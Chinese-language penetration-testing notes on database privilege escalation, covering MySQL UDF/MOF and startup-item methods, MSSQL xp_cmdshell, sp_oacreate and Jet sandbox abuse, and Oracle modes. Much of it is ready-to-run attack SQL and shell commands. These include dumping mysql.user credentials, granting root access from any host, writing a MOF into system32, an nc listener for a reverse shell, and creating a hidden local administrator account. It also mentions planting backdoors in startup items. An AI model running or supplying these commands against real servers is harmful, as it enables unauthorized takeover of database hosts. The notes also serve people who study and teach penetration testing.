在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件: 服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。
#数据库应用提权在权限提升中的意义
#WEB 或本地环境如何探针数据库应用
#数据库提权权限用户密码收集等方法
#目前数据库提权对应的技术及方法等
Mysql的密码: select * from mysql.user;
#案例1.MYSQL数据库提权演示-脚本&MSF** 流程:服务探针-信息收集-提权利用-获取权限 UDF提权原理: UDF(User-Defined-Function),即用户自定义函数,通过新添加函数对MySQL的功能进行扩充。根据MySQL用户自定义函数的功能,写入有执行系统命令的UDF,通过调用此UDF,达到提权的命令。 MySQL数据库提权需要满足以下几个条件:
- MySQL服务以管理员权限启动。
- 获取了MySQL”root“用户的密码
- MySQL可以连接
MOF提权原理: 托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。MOF文件每隔5秒就会监控进程的创建和死亡,或MySQL是以管理员身份启动,并且可以往MOF的文件路径"C:/windows/system32/wbem/mof" 中写入文件,便可以通过上传MOF进行提权。
1.UDF提权知识点:(基于MYSQL调用命令执行函数)
读取网站数据配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include等
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
MYSQL/data/mysql/user.MYD #账号密码
@@basedir/data/数据库名/表名.myd
(表名.myd存储的数据)
利用脚本暴力破解(了解数据库是否支持外联及如何开启外联)
远程本地暴力破解,服务器本地暴力破解
利用自定义函数导出dll文件进行命令执行
select version()
select @@basedir
手工创建plugin目录或利用HTFS流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
1.mysql<5.1 导出目录:c:/windows或system32
2.mysql =>5.1 导出安装目录/lib/plugin
2.MOF知识点:(基于MYSQL特性的安全问题)
导出自定义mof文件到系统目录加载
https://www.cnblogs.com/xishaonian/p/6384535.html
select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof
') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
3.启动项知识点:(基于配合操作系统自启动)
msf 实战上传到启动目录
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配置重启执行! #DDOS
数据库开启外联:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION #予任何主机访问数据的权限
4.反弹知识点:(基于利用反弹特性命令执行)
nc -l -p 5577 #监听5577端口
**#案例2.Mssql数据库提权演示-连接客户端(一般默认支持外联)**
流程:服务探针-信息收集(得到sa密码)-提权利用-获取权限 ``` 1.适用xp_cmdshell进行提权 xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。 启用: EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
关闭: EXEC sp_configure ‘show advanced options’, 1 RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; 执行: EXEC master.dbo.xp_cmdshell ‘命令’ 如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复 exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’
2.适用sp_oacreate进行提权 主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。 启用: EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure ‘Ole Automation Procedures’, 1; RECONFIGURE WITH OVERRIDE;
关闭: EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure ‘Ole Automation Procedures’, 0; RECONFIGURE WITH OVERRIDE;
执行: declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt #不输出到txt可能无回显
3.适用SQL Server沙盒提权 参考资料:https://blog.51cto.com/u_11797152/2411770 exec sp_configure ‘show advanced options’,1;reconfigure; – 不开启的话在执行 xp_regwrite 会提示让我们开启, exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure; –关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。 exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0; –查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。 exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’ – 执 行 系 统 命 令 select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user margin margin /add”)’) select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators margin /add”)’) 沙盒模式 SandBoxMode 参数含义(默认是 2)
**#案例3.**<br />**普通用户模式:**<br />前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。<br />
DBA用户模式:(自动化工具演示) 拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式:(sqlmap测试演示) 拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
|